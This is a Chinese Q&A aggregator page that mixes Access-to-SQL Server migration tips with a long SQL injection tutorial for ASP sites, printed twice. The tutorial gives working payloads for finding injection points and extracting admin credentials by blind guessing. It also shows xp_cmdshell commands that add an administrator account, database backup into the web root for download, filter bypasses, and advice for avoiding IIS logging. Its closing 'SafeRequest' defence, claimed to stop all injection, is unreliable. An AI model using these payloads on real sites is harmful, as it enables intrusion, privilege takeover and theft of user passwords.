當前位置:首頁 » 數據倉庫 » access資料庫sql注入
擴展閱讀
webinf下怎麼引入js 2023-08-31 21:54:13
堡壘機怎麼打開web 2023-08-31 21:54:11

access資料庫sql注入

發布時間: 2023-06-01 12:14:53

A. access資料庫怎麼導到sql

將Access數據導入到SQLserver中

在SQLserver中執行如下語句就能首寬將Access 中B04表中的數據導入到SQLserver中的sqltablenaem表裂哪中

INSERT INTO sqltablename(sfield1,sfield2,sfield3,sfield4,sfield5,sfield6)

SELECT CONVERT(char(10),afield1),afield2,afield3,afield4,afield5,afield6

FROM opendatasource( 'Microsoft.Jet.OLEDB.4.0','Data Source="c:docaccessdb.mdb";Jet OLEDB:Database Password=abc)...B04

說明:

1.CONVERT(char(10),afield1)可以對數據的類型進行轉換,控制長度;

2.在「opendatasource( 'Microsoft.Jet.OLEDB.4.0','Data Source="肆芹碼c:docaccessdb.mdb";Jet OLEDB:Database Password=abc)...B04」中Data Source="c:docaccessdb.mdb為Access資料庫的物理路徑(保證兩個資料庫在一台機器上);

3.Password=abc中「abc」是Access資料庫的密碼,如果資料庫無密碼就不填寫;

4.B04為在Access資料庫中的表名;

5.也可以加一些條件如WHERE afield='a' and ...,有選擇條件的導入數據

B. ACCESS數據如何導入SQL資料庫

找開企業管理器 先在sql里建一資料庫 選擇所有任務 導入數據 選擇數據源中選microsoft access 在把access資料庫導入到mssql資料庫時,應該注意的幾個問題 在使用MSSQL SERVER的時候,和ACCESS有很多區別的,即使是用SQL SERVER導入ACCESS資料庫,也有很多地方需要注意,這里,撿幾個例子來說說。 1、在ACCESS中經常使用的自動編號欄位,導入到MSSQL後,他並不是自增型的INT,需要手工設置,把導入後的自動編號欄位的標識的「否」改為「是」,「種子」和「遞增量」都為「1」,才能成為自動編號; 2、在MSSQL SERVER中,有許多保留字,在ACCESS中是沒有的,當你把數據導入到MSSQL的時候,問題就出來了。MSSQL在導入的時候,會自動給這些欄位(包括資料庫中的表名)加上「[欄位名]」,因此,你必須修改你的腳本,把相應的欄位名字(或者表名字)加上中括弧,或改變欄位名字為不是MSSQL的保留字。(具體是那些,請參考有關資料)

C. 舉例說明SQL注入的一般過程!

如果你以前沒試過SQL注入的話,那麼第一步先把IE菜單=>工具=>Internet選項=>高級=>顯示友好 HTTP 錯誤信息前面的勾去掉。否則,不論伺服器返回什麼錯誤,IE都只顯示為HTTP 500伺服器錯誤,不能獲得更多的提示信息。

第一節、SQL注入原理

以下我們從一個網站www.19cn.com開始(註:本文發表前已徵得該站站長同意,大部分都是真實數據)。

在網站首頁上,有名為「IE不能打開新窗口的多種解決方法」的鏈接,地址為:http://www.19cn.com/showdetail.asp?id=49,我們在這個地址後面加上單引號』,伺服器會返回下面的錯誤提示:

Microsoft JET Database Engine 錯誤 '80040e14'
字元串的語法錯誤 在查詢表達式 'ID=49'' 中。
/showdetail.asp,行8

從這個錯誤提示我們能看出下面幾點:

1.網站使用的是Access資料庫,通過JET引擎連接資料庫,而不是通過ODBC。
2.程序沒有判斷客戶端提交的數據是否符合程序要求。
3.該SQL語句所查詢的表中有一名為ID的欄位。

從上面的例子我們可以知道,SQL注入的原理,就是從客戶端提交特殊的代碼,從而收集程序及伺服器的信息,從而獲取你想到得到的資料。

第二節、判斷能否進行SQL注入

看完第一節,有一些人會覺得:我也是經常這樣測試能否注入的,這不是很簡單嗎?其實,這並不是最好的方法,為什麼呢?

首先,不一定每台伺服器的IIS都返回具體錯誤提示給客戶端,如果程序中加了cint(參數)之類語句的話,SQL注入是不會成功的,但伺服器同樣會報錯,具體提示信息為處理 URL 時伺服器上出錯。請和系統管理員聯絡。

其次,部分對SQL注入有一點了解的程序員,認為只要把單引號過濾掉就安全了,這種情況不為少數,如果你用單引號測試,是測不到注入點的

那麼,什麼樣的測試方法才是比較准確呢?答案如下:

① http://www.19cn.com/showdetail.asp?id=49
② http://www.19cn.com/showdetail.asp?id=49 and 1=1
③ http://www.19cn.com/showdetail.asp?id=49 and 1=2

這就是經典的1=1、1=2測試法了,怎麼判斷呢?看看上面三個網址返回的結果就知道了:

可以注入的表現:

① 正常顯示(這是必然的,不然就是程序有錯誤了)
② 正常顯示,內容基本與①相同
③ 提示BOF或EOF(程序沒做任何判斷時)、或提示找不到記錄(判斷了rs.eof時)、或顯示內容為空(程序加了on error resume next)

不可以注入就比較容易判斷了,①同樣正常顯示,②和③一般都會有程序定義的錯誤提示,或提示類型轉換時出錯。

當然,這只是傳入參數是數字型的時候用的判斷方法,實際應用的時候會有字元型和搜索型參數,我將在中級篇的「SQL注入一般步驟」再做分析。

第三節、判斷資料庫類型及注入方法

不同的資料庫的函數、注入方法都是有差異的,所以在注入之前,我們還要判斷一下資料庫的類型。一般ASP最常搭配的資料庫是Access和SQLServer,網上超過99%的網站都是其中之一。

怎麼讓程序告訴你它使用的什麼資料庫呢?來看看:

SQLServer有一些系統變數,如果伺服器IIS提示沒關閉,並且SQLServer返回錯誤提示的話,那可以直接從出錯信息獲取,方法如下:

http://www.19cn.com/showdetail.asp?id=49 and user>0

這句語句很簡單,但卻包含了SQLServer特有注入方法的精髓,我自己也是在一次無意的測試中發現這種效率極高的猜解方法。讓我看來看看它的含義:首先,前面的語句是正常的,重點在and user>0,我們知道,user是SQLServer的一個內置變數,它的值是當前連接的用戶名,類型為nvarchar。拿一個nvarchar的值跟int的數0比較,系統會先試圖將nvarchar的值轉成int型,當然,轉的過程中肯定會出錯,SQLServer的出錯提示是:將nvarchar值 」abc」 轉換數據類型為 int 的列時發生語法錯誤,呵呵,abc正是變數user的值,這樣,不廢吹灰之力就拿到了資料庫的用戶名。在以後的篇幅里,大家會看到很多用這種方法的語句。

順便說幾句,眾所周知,SQLServer的用戶sa是個等同Adminstrators許可權的角色,拿到了sa許可權,幾乎肯定可以拿到主機的Administrator了。上面的方法可以很方便的測試出是否是用sa登錄,要注意的是:如果是sa登錄,提示是將」dbo」轉換成int的列發生錯誤,而不是」sa」。

如果伺服器IIS不允許返回錯誤提示,那怎麼判斷資料庫類型呢?我們可以從Access和SQLServer和區別入手,Access和SQLServer都有自己的系統表,比如存放資料庫中所有對象的表,Access是在系統表[msysobjects]中,但在Web環境下讀該表會提示「沒有許可權」,SQLServer是在表[sysobjects]中,在Web環境下可正常讀取。

在確認可以注入的情況下,使用下面的語句:

http://www.19cn.com/showdetail.asp?id=49 and (select count(*) from sysobjects)>0
http://www.19cn.com/showdetail.asp?id=49 and (select count(*) from msysobjects)>0

如果資料庫是SQLServer,那麼第一個網址的頁面與原頁面http://www.19cn.com/showdetail.asp?id=49是大致相同的;而第二個網址,由於找不到表msysobjects,會提示出錯,就算程序有容錯處理,頁面也與原頁面完全不同。

如果資料庫用的是Access,那麼情況就有所不同,第一個網址的頁面與原頁面完全不同;第二個網址,則視乎資料庫設置是否允許讀該系統表,一般來說是不允許的,所以與原網址也是完全不同。大多數情況下,用第一個網址就可以得知系統所用的資料庫類型,第二個網址只作為開啟IIS錯誤提示時的驗證。
第一節、SQL注入的一般步驟

首先,判斷環境,尋找注入點,判斷資料庫類型,這在入門篇已經講過了。

其次,根據注入參數類型,在腦海中重構SQL語句的原貌,按參數類型主要分為下面三種:

(A) ID=49 這類注入的參數是數字型,SQL語句原貌大致如下:
Select * from 表名 where 欄位=49
注入的參數為ID=49 And [查詢條件],即是生成語句:
Select * from 表名 where 欄位=49 And [查詢條件]

(B) Class=連續劇 這類注入的參數是字元型,SQL語句原貌大致概如下:
Select * from 表名 where 欄位=』連續劇』
注入的參數為Class=連續劇』 and [查詢條件] and 『』=』 ,即是生成語句:
Select * from 表名 where 欄位=』連續劇』 and [查詢條件] and 『』=』』

(C) 搜索時沒過濾參數的,如keyword=關鍵字,SQL語句原貌大致如下:
Select * from 表名 where 欄位like 』%關鍵字%』
注入的參數為keyword=』 and [查詢條件] and 『%25』=』, 即是生成語句:
Select * from 表名 where欄位like 』%』 and [查詢條件] and 『%』=』%』

接著,將查詢條件替換成SQL語句,猜解表名,例如:

ID=49 And (Select Count(*) from Admin)>=0

如果頁面就與ID=49的相同,說明附加條件成立,即表Admin存在,反之,即不存在(請牢記這種方法)。如此循環,直至猜到表名為止。

表名猜出來後,將Count(*)替換成Count(欄位名),用同樣的原理猜解欄位名。

有人會說:這里有一些偶然的成分,如果表名起得很復雜沒規律的,那根本就沒得玩下去了。說得很對,這世界根本就不存在100%成功的黑客技術,蒼蠅不叮無縫的蛋,無論多技術多高深的黑客,都是因為別人的程序寫得不嚴密或使用者保密意識不夠,才有得下手。

有點跑題了,話說回來,對於SQLServer的庫,還是有辦法讓程序告訴我們表名及欄位名的,我們在高級篇中會做介紹。

最後,在表名和列名猜解成功後,再使用SQL語句,得出欄位的值,下面介紹一種最常用的方法-Ascii逐字解碼法,雖然這種方法速度很慢,但肯定是可行的方法。

我們舉個例子,已知表Admin中存在username欄位,首先,我們取第一條記錄,測試長度:

http://www.19cn.com/showdetail.asp?id=49 and (select top 1 len(username) from Admin)>0

先說明原理:如果top 1的username長度大於0,則條件成立;接著就是>1、>2、>3這樣測試下去,一直到條件不成立為止,比如>7成立,>8不成立,就是len(username)=8

當然沒人會笨得從0,1,2,3一個個測試,怎麼樣才比較快就看各自發揮了。在得到username的長度後,用mid(username,N,1)截取第N位字元,再asc(mid(username,N,1))得到ASCII碼,比如:

id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0

同樣也是用逐步縮小范圍的方法得到第1位字元的ASCII碼,注意的是英文和數字的ASCII碼在1-128之間,可以用折半法加速猜解,如果寫成程序測試,效率會有極大的提高。

第二節、SQL注入常用函數

有SQL語言基礎的人,在SQL注入的時候成功率比不熟悉的人高很多。我們有必要提高一下自己的SQL水平,特別是一些常用的函數及命令。

Access:asc(字元) SQLServer:unicode(字元)
作用:返回某字元的ASCII碼

Access:chr(數字) SQLServer:nchar(數字)
作用:與asc相反,根據ASCII碼返回字元

Access:mid(字元串,N,L) SQLServer:substring(字元串,N,L)
作用:返回字元串從N個字元起長度為L的子字元串,即N到N+L之間的字元串

Access:abc(數字) SQLServer:abc (數字)
作用:返回數字的絕對值(在猜解漢字的時候會用到)

Access:A between B And C SQLServer:A between B And C
作用:判斷A是否界於B與C之間

第三節、中文處理方法

在注入中碰到中文字元是常有的事,有些人一碰到中文字元就想打退堂鼓了。其實只要對中文的編碼有所了解,「中文恐懼症」很快可以克服。

先說一點常識:

Access中,中文的ASCII碼可能會出現負數,取出該負數後用abs()取絕對值,漢字字元不變。

SQLServer中,中文的ASCII為正數,但由於是UNICODE的雙位編碼,不能用函數ascii()取得ASCII碼,必須用函數unicode ()返回unicode值,再用nchar函數取得對應的中文字元。

D. Access資料庫中如何輸入SQL語句進行操作

建表t,然後單擊查詢,然後選第一項,然後彈出的
對話框
選關閉,然後看
窗體
的左上角,有個SQL
按鈕
,點一下,打開的窗體裡面可以寫
sql語句
,點
嘆號
是運行。結果出現後,
右鍵
菜單
第二項可以返回到sql語句輸入
界面

以上。

E. 如何將ACCESS資料庫導入到SQL SERVER

A1. 安裝 SQLServer
A2. 建立 SQLServer 資料庫

在sqlserver資料庫的「企業管理器」中新建一個資料庫,命名為sample,建好後在sqlserver安裝目錄\MSSQL\Data
文件夾下會生成sample_Data.MDF、sample_Log.LDF兩個文件
具體步驟:依次展開sql server 組 ==》右擊資料庫==》新建資料庫==》命名sample==》確定

A3. 導入表結構

a. 建立表結構腳本 –
執行SqlSvrTbl.bat從sample.mdb抽取表結構,sample.mdb一定是當前型號的資料庫,即執行makemdb、getmdb後獲取的,
註:SqlSvrTbl.bat可以在任意目錄執行,執行時會出現如下信息(此報錯信息可以忽略,該命令執行時間比較長):
java.sql.SQLException: [Microsoft][ODBC Microsoft Access Driver] 不能讀取記錄;
在 'MSysQueries' 上沒有讀取數據許可權。
at
sun.jdbc.odbc.JdbcOdbc.createSQLException(JdbcOdbc.java:6026)
……

b. 讀入表結構腳本
在sqlserver資料庫的「查詢分析器」界面中讀入上一步生成的SqlSvrTbl.sql腳本,生成資料庫結構
具體步驟:打開上一步生成的SqlSvrTbl.sql腳本===》點擊工具欄的「執行查詢」按鈕(或 按F5 執行)
注意:類似警告信息可忽略,錯誤要查明原因。
警告: 已創建表 'Department',但其最大行大小(17573)超過了每行的最大位元組數(8060)。如果結果行長度超過 8060
位元組,則此表中行的 INSERT 或 UPDATE 將失敗。
A4. 導入數據
使用sqlserver的「導入和導出數據」功能,按步驟將access資料庫中的數據導入到sqlserver資料庫的sample資料庫中
具體步驟:運行「導入導出數據」工具==》下一步 ==》選擇 數據源:Microsoft
Access
==》在「文件名」處,瀏覽打開需要導入的數據源 sample.mdb ==》下一步
==》選擇目的資料庫:在「資料庫」下拉列表中選擇之前建好的sample
==》一直「下一步」 到「選擇源表和視圖」將所有要導入的表和視圖
「勾選」 執行「下一步」 ==》點「下一步」==》點「完成」開始導入
注意:如果在導入完成後報如下錯誤提示,說明導入有錯
錯誤提示:
在目的的行號為1處出錯.到目前為止,在改任務中遇到錯誤數:1.
插入錯誤、列58("Birthday",DBTYPE_DBTIMESTAMP)、狀態6:數據溢出。
對於造型說明無效的字元值。
A5. NHS 伺服器連接資料庫
a. 將nhssystem.mdb 手工拷到本機的%JXCRUN%\Bin文件夾中
b.用客戶端登錄軟體。
如果出現「admin」用戶不存在,在sqlserver中用查詢管理器查詢「select * from sysuser 」
看結果跟access中資料庫中sysuser中數據是否匹配。如果不匹配說明資料庫有誤,需要更換資料庫。
如果出現sa用戶密碼錯誤,沒有連接上,先關掉軟體。在sqlserver企業管理器中,打開「安全性」==》「登錄」==》右擊sa更改密碼即可。
在沒有插網線的情況下,如果出現「不能連接SqlServer 或SqlServer
拒絕連接」的錯誤,將網線插上試試看是否可以。如果還不行,查看SqlServer是否啟動。

F. 請問什麼是SQL注入

就是搞MM的意思

G. 什麼是sql 注入,如何實現注入

找了一個,希望能幫助你
隨著B/S模式應用開發的發展,使用這種模式編寫應用程序的程序員也越來越多。但是由於這個行業的入門門檻不高,程序員的水平及經驗也參差不齊,相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。用戶可以提交一段資料庫查詢代碼,根據程序返回的結果,獲得某些他想得知的數據,這就是所謂的SQL Injection,即SQL注入。

SQL注入是從正常的WWW埠訪問,而且表面看起來跟一般的Web頁面訪問沒什麼區別,所以目前市面的防火牆都不會對SQL注入發出警報

,如果管理員沒查看IIS日誌的習慣,可能被入侵很長時間都不會發覺。

但是,SQL注入的手法相當靈活,在注入的時候會碰到很多意外的情況。能不能根據具體情況進行分析,構造巧妙的SQL語句,從而成功獲取想要的數據,是高手與「菜鳥」的根本區別。

根據國情,國內的網站用ASP+Access或SQLServer的佔70%以上,PHP+MySQ佔L20%,其他的不足10%。在本文,我們從分入門、進階至高級講解一下ASP注入的方法及技巧,PHP注入的文章由NB聯盟的另一位朋友zwell撰寫,希望對安全工作者和程序員都有用處。了解 ASP注入的朋友也請不要跳過入門篇,因為部分人對注入的基本判斷方法還存在誤區。大家准備好了嗎?Let's Go...

入門篇

如果你以前沒試過SQL注入的話,那麼第一步先把IE菜單=>工具=>Internet選項=>高級=>顯示友好 HTTP 錯誤信息前面的勾去掉。否則,不論伺服器返回什麼錯誤,IE都只顯示為HTTP 500伺服器錯誤,不能獲得更多的提示信息。

第一節、SQL注入原理

以下我們從一個網站www.mytest.com開始(註:本文發表前已徵得該站站長同意,大部分都是真實數據)。

在網站首頁上,有名為「IE不能打開新窗口的多種解決方法」的鏈接,地址為:http://www.mytest.com/showdetail.asp?id=49,我們在這個地址後面加上單引號』,伺服器會返回下面的錯誤提示:

Microsoft JET Database Engine 錯誤 '80040e14'

字元串的語法錯誤 在查詢表達式 'ID=49'' 中。

/showdetail.asp,行8

從這個錯誤提示我們能看出下面幾點:

1. 網站使用的是Access資料庫,通過JET引擎連接資料庫,而不是通過ODBC。

2. 程序沒有判斷客戶端提交的數據是否符合程序要求。

3. 該SQL語句所查詢的表中有一名為ID的欄位。

從上面的例子我們可以知道,SQL注入的原理,就是從客戶端提交特殊的代碼,從而收集程序及伺服器的信息,從而獲取你想到得到的資料。

第二節、判斷能否進行SQL注入

看完第一節,有一些人會覺得:我也是經常這樣測試能否注入的,這不是很簡單嗎?

其實,這並不是最好的方法,為什麼呢?

首先,不一定每台伺服器的IIS都返回具體錯誤提示給客戶端,如果程序中加了cint(參數)之類語句的話,SQL注入是不會成功的,但伺服器同樣會報錯,具體提示信息為處理 URL 時伺服器上出錯。請和系統管理員聯絡。

其次,部分對SQL注入有一點了解的程序員,認為只

要把單引號過濾掉就安全了,這種情況不為少數,如果你用單引號測試,是測不到注入點的

那麼,什麼樣的測試方法才是比較准確呢?答案如下:

① http://www.mytest.com/showdetail.asp?id=49

② http://www.mytest.com/showdetail.asp?id=49 ;and 1=1

③ http://www.mytest.com/showdetail.asp?id=49 ;and 1=2

這就是經典的1=1、1=2測試法了,怎麼判斷呢?看看上面三個網址返回的結果就知道了:

可以注入的表現:

① 正常顯示(這是必然的,不然就是程序有錯誤了)

② 正常顯示,內容基本與①相同

③ 提示BOF或EOF(程序沒做任何判斷時)、或提示找不到記錄(判斷了rs.eof時)、或顯示內容為空(程序加了on error resume next)

不可以注入就比較容易判斷了,①同樣正常顯示,②和③一般都會有程序定義的錯誤提示,或提示類型轉換時出錯。

當然,這只是傳入參數是數字型的時候用的判斷方法,實際應用的時候會有字元型和搜索型參數,我將在中級篇的「SQL注入一般步驟」再做分析。

第三節、判斷資料庫類型及注入方法

不同的資料庫的函數、注入方法都是有差異的,所以在注入之前,我們還要判斷一下資料庫的類型。一般ASP最常搭配的資料庫是Access和SQLServer,網上超過99%的網站都是其中之一。

怎麼讓程序告訴你它使用的什麼資料庫呢?來看看:

SQLServer有一些系統變數,如果伺服器IIS提示沒關閉,並且SQLServer返回錯誤提示的話,那可以直接從出錯信息獲取,方法如下:

http://www.mytest.com/showdetail.asp?id=49 ;and user>0

這句語句很簡單,但卻包含了SQLServer特有注入方法的精髓,我自己也是在一次無意的測試中發現這種效率極高的猜解方法。讓我看來看看它的含義:首先,前面的語句是正常的,重點在and user>0,我們知道,user是SQLServer的一個內置變數,它的值是當前連接的用戶名,類型為nvarchar。拿一個 nvarchar的值跟int的數0比較,系統會先試圖將nvarchar的值轉成int型,當然,轉的過程中肯定會出錯,SQLServer的出錯提示是:將nvarch

ar值 」abc」 轉換數據類型為 int 的列時發生語法錯誤,呵呵,abc正是變數user的值,這樣,不廢吹灰之力就拿到了資料庫的用戶名。在以後的篇幅里,大家會看到很多用這種方法的語句。

順便說幾句,眾所周知,SQLServer的用戶sa是個等同Adminstrators許可權的角色,拿到了sa許可權,幾乎肯定可以拿到主機的 Administrator了。上面的方法可以很方便的測試出是否是用sa登錄,要注意的是:如果是sa登錄,提示是將」dbo」轉換成int的列發生錯誤,而不是」sa」。

如果伺服器IIS不允許返回錯誤提示,那怎麼判斷資料庫類型呢?我們可以從Access和SQLServer和區別入手,Access和 SQLServer都有自己的系統表,比如存放資料庫中所有對象的表,Access是在系統表[msysobjects]中,但在Web環境下讀該表會提示「沒有許可權」,SQLServer是在表[sysobjects]中,在Web環境下可正常讀取。

在確認可以注入的情況下,使用下面的語句:

http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from sysobjects)>0

http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from msysobjects)>0

如果資料庫是SQLServer,那麼第一個網址的頁面與原頁面http://www.mytest.com/showdetail.asp?id= 49是大致相同的;而第二個網址,由於找不到表msysobjects,會提示出錯,就算程序有容錯處理,頁面也與原頁面完全不同。

如果資料庫用的是Access,那麼情況就有所不同,第一個網址的頁面與原頁面完全不同;第二個網址,則視乎資料庫設置是否允許讀該系統表,一般來說是不允許的,所以與原網址也是完全不同。大多數情況下,用第一個網址就可以得知系統所用的資料庫類型,第二個網址只作為開啟IIS錯誤提示時的驗證。

進階篇

在入門篇,我們學會了SQL注入的判斷方法,但真正要拿到網站的保密內容,是遠遠不夠的。接下來,我們就繼續學習如何從資料庫中獲取想要獲得的內容,首先,我們先看看SQL注入的一般步驟:

第一節、SQL注入的一般步驟

首先,判斷環境,尋找注入點,判斷資料庫類型,這在入門篇已經講過了。

其次,根據注入參數類型,在腦海中重構SQL語句的原貌,按參數類型主要分為下面三種:

(A) ID=49 這類注入的參

數是數字型,SQL語句原貌大致如下:

Select * from 表名 where 欄位=49

注入的參數為ID=49 And [查詢條件],即是生成語句:

Select * from 表名 where 欄位=49 And [查詢條件]

(B) Class=連續劇 這類注入的參數是字元型,SQL語句原貌大致概如下:

Select * from 表名 where 欄位=』連續劇』

注入的參數為Class=連續劇』 and [查詢條件] and 『』=』 ,即是生成語句:

Select * from 表名 where 欄位=』連續劇』 and [查詢條件] and 『』=』』

&; 搜索時沒過濾參數的,如keyword=關鍵字,SQL語句原貌大致如下:

Select * from 表名 where 欄位like 』%關鍵字%』

注入的參數為keyword=』 and [查詢條件] and 『%25』=』, 即是生成語句:

Select * from 表名 where欄位like 』%』 and [查詢條件] and 『%』=』%』

接著,將查詢條件替換成SQL語句,猜解表名,例如:

ID=49 And (Select Count(*) from Admin)>=0

如果頁面就與ID=49的相同,說明附加條件成立,即表Admin存在,反之,即不存在(請牢記這種方法)。如此循環,直至猜到表名為止。

表名猜出來後,將Count(*)替換成Count(欄位名),用同樣的原理猜解欄位名。

有人會說:這里有一些偶然的成分,如果表名起得很復雜沒規律的,那根本就沒得玩下去了。說得很對,這世界根本就不存在100%成功的黑客技術,蒼蠅不叮無縫的蛋,無論多技術多高深的黑客,都是因為別人的程序寫得不嚴密或使用者保密意識不夠,才有得下手。

有點跑題了,話說回來,對於SQLServer的庫,還是有辦法讓程序告訴我們表名及欄位名的,我們在高級篇中會做介紹。

最後,在表名和列名猜解成功後,再使用SQL語句,得出欄位的值,下面介紹一種最常用的方法-Ascii逐字解碼法,雖然這種方法速度很慢,但肯定是可行的方法。

我們舉個例子,已知表Admin中存在username欄位,首先,我們取第一條記錄,測試長度:

http://www.mytest.com/showdetail.asp?id=49 ;and (select top 1 len(username) from Admin)>0

先說明原理:如果top 1的username長度大於0,則條件成立;接著就是>1、>2、>3這樣測試下去,一直到條件不成立為止,比如>7成立,>8不成立,就是len(username)=8

當然沒人會笨得從0,1,2,3一個個測試,怎麼樣才比較快就看各自發揮了。在得到username的長度後,用mid(username,N,1)截取第N位字元,再asc(mid(username,N,1))得到ASCII碼,比如:

id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0

同樣也是用逐步縮小范圍的方法得到第1位字元的ASCII碼,注意的是英文和數字的ASCII碼在1-128之間,可以用折半法加速猜解,如果寫成程序測試,效率會有極大的提高。

第二節、SQL注入常用函數

有SQL語言基礎的人,在SQL注入的時候成功率比不熟悉的人高很多。我們有必要提高一下自己的SQL水平,特別是一些常用的函數及命令。

Access:asc(字元) SQLServer:unicode(字元)

作用:返回某字元的ASCII碼

Access:chr(數字) SQLServer:nchar(數字)

作用:與asc相反,根據ASCII碼返回字元

Access:mid(字元串,N,L) SQLServer:substring(字元串,N,L)

作用:返回字元串從N個字元起長度為L的子字元串,即N到N+L之間的字元串

Access:abc(數字) SQLServer:abc (數字)

作用:返回數字的絕對值(在猜解漢字的時候會用到)

Access:A between B And C SQLServer:A between B And C

作用:

判斷A是否界於B與C之間

第三節、中文處理方法

在注入中碰到中文字元是常有的事,有些人一碰到中文字元就想打退堂鼓了。其實只要對中文的編碼有所了解,「中文恐懼症」很快可以克服。

先說一點常識:

Access中,中文的ASCII碼可能會出現負數,取出該負數後用abs()取絕對值,漢字字元不變。

SQL Server中,中文的ASCII為正數,但由於是UNICODE的雙位編碼,不能用函數ascii()取得ASCII碼,必須用函數unicode ()返回unicode值,再用nchar函數取得對應的中文字元。

了解了上面的兩點後,是不是覺得中文猜解其實也跟英文差不多呢?除了使用的函數要注意、猜解范圍大一點外,方法是沒什麼兩樣的。

高級篇

看完入門篇和進階篇後,稍加練習,破解一般的網站是沒問題了。但如果碰到表名列名猜不到,或程序作者過濾了一些特殊字元,怎麼提高注入的成功率?怎麼樣提高猜解效率?請大家接著往下看高級篇。

第一節、利用系統表注入SQLServer資料庫

SQL Server是一個功能強大的資料庫系統,與操作系統也有緊密的聯系,這給開發者帶來了很大的方便,但另一方面,也為注入者提供了一個跳板,我們先來看看幾個具體的例子



① http://Site/url.asp?id=1;exec master..xp_cmdshell 「net user name password /add」--

分號;在SQLServer中表示隔開前後兩句語句,--表示後面的語句為注釋,所以,這句語句在SQLServer中將被分成兩句執行,先是Select出ID=1的記錄,然後執行存儲過程xp_cmdshell,這個存儲過程用於調用系統命令,於是,用net命令新建了用戶名為name、密碼為password的windows的帳號,接著:

② http://Site/url.asp?id=1;exec master..xp_cmdshell 「net localgroup name administrators /add」--

將新建的帳號name加入管理員組,不用兩分鍾,你已經拿到了系統最高許可權!當然,這種方法只適用於用sa連接資料庫的情況,否則,是沒有許可權調用xp_cmdshell的。

③ http://Site/url.asp?id=1 ;and db_name()>0

前面有個類似的例子and user>0,作用是獲取連接用戶名,db_name()是另一個系統變數,返回的是連接的資料庫名。

④ http://Site/url.asp?id=1;backup database 資料庫名 to disk=』c:\inetpub\wwwroot\1.db』;--

這是相當狠的一招,從③拿到的資料庫名,加上某些IIS出錯暴露出的絕對路徑,將資料庫備份到Web目錄下面,再用HTTP把整個資料庫就完完整整的下載回來,所有的管理員及用戶密碼都一覽無遺!在不知道絕對路徑的時候,還可以備份到網路地址的方法(如\202.96.xx.xx\Share \1.db),但成功率不高。

⑤ http://Site/url.asp?id=1 ;and (Select Top 1 name from sysobjects where xtype=』U』 and status>0)>0

前面說過,sysobjects是SQLServer的系統表,存儲著所有的表名、視圖、約束及其它對象,xtype=』U』 and status>0,表示用戶建立的表名,上面的語句將第一個表名取出,與0比較大小,讓報錯信息把表名暴露出來。第二、第三個表名怎麼獲取?還是留給我們聰明的讀者思考吧。

⑥ http://Site/url.asp?id=1 ;and (Select Top 1 col_name(object_id(『表名』),1) from sysobjects)>0

從⑤拿到表名後,用object_id(『表名』)獲取表名對應的內部ID,col_name(表名ID,1)代表該表的第1個欄位名,將1換成2,3,4...就可以逐個獲取所猜解表裡面的欄位名。

以上6點是我研究SQLServer注入半年多以來的心血結晶,可以看出,對SQLServer的了解程度,直接影響著成功率及猜解速度。在我研究SQLServer注入之後,我在開發方面的水平也得到很大的提高,呵呵,也許安全與開發本來就是相輔相成的吧。

第二節、繞過程序限制繼續注入

在入門篇提到,有很多人喜歡用』號測試注入漏洞,所以也有很多人用過濾』號的方法來「防止」注入漏洞,這也許能擋住一些入門者的攻擊,但對SQL注入比較熟悉的人,還是可以利用相關的函數,達到繞過程序限制的目的。

在「SQL注入的一般步驟」一節中,我所用的語句,都是經過我優化,讓其不包含有單引號的;在「利用系統表注入SQLServer資料庫」中,有些語句包含有』號,我們舉個例子來看

看怎麼改造這些語句:

簡單的如where xtype=』U』,字元U對應的ASCII碼是85,所以可以用where xtype=char(85)代替;如果字元是中文的,比如where name=』用戶』,可以用where name=nchar(29992)+nchar(25143)代替。

第三節、經驗小結

1.有些人會過濾Select、Update、Delete這些關鍵字,但偏偏忘記區分大小寫,所以大家可以用selecT這樣嘗試一下。

2.在猜不到欄位名時,不妨看看網站上的登錄表單,一般為了方便起見,欄位名都與表單的輸入框取相同的名字。

3.特別注意:地址欄的+號傳入程序後解釋為空格,%2B解釋為+號,%25解釋為%號,具體可以參考URLEncode的相關介紹。

4.用Get方法注入時,IIS會記錄你所有的提交字元串,對Post方法做則不記錄,所以能用Post的網址盡量不用Get。

5. 猜解Access時只能用Ascii逐字解碼法,SQLServer也可以用這種方法,只需要兩者之間的區別即可,但是如果能用SQLServer的報錯信息把值暴露出來,那效率和准確率會有極大的提高。

防範方法

SQL注入漏洞可謂是「千里之堤,潰於蟻穴」,這種漏洞在網上極為普遍,通常是由於程序員對注入不了解,或者程序過濾不嚴格,或者某個參數忘記檢查導致。在這里,我給大家一個函數,代替ASP中的Request函數,可以對一切的SQL注入Say NO,函數如下:

Function SafeRequest(ParaName,ParaType)
'--- 傳入參數 ---
'ParaName:參數名稱-字元型
'ParaType:參數類型-數字型(1表示以上參數是數字,0表示以上參數為字元)

Dim ParaValue
ParaValue=Request(ParaName)
If ParaType=1 then
If not isNumeric(ParaValue) then
Response.write "參數" & ParaName & "必須為數字型!"
Response.end
End if
Else
ParaValue=replace(ParaValue,"'","''")
End if
SafeRequest=ParaValue
End function

H. SQL注入是什麼意思

SQL注入屬於注入式攻擊,這種攻擊是因為在項目中沒有將代碼與數據隔離,在讀取數據的時候,錯誤地將數據作為代碼的一部分執行而導致的。
如何處理SQL注入情況?三個方面:
1、過濾用戶輸入參數中的特殊字元,降低風險;
2、禁止通過字元串拼接sql語句,嚴格使用參數綁定來傳入參數;
3、合理使用資料庫框架提供的機制。

I. 如何通過sql注入 access

如何通過sql注入 access
SqlMap是一個開放源碼的滲透測試工具,它可以自動探測和利用SQL注入漏洞和接管數... 資料庫:MySQL, Oracle, PostgreSQL, Microsoft SQL SerL注入攻擊是黑客對 . sqlmap注入Access實例 ,暗... 針對Access資料庫一般就只能爆表,爆數據了

J. SQL注入步驟和常用函數以及中文處理方法

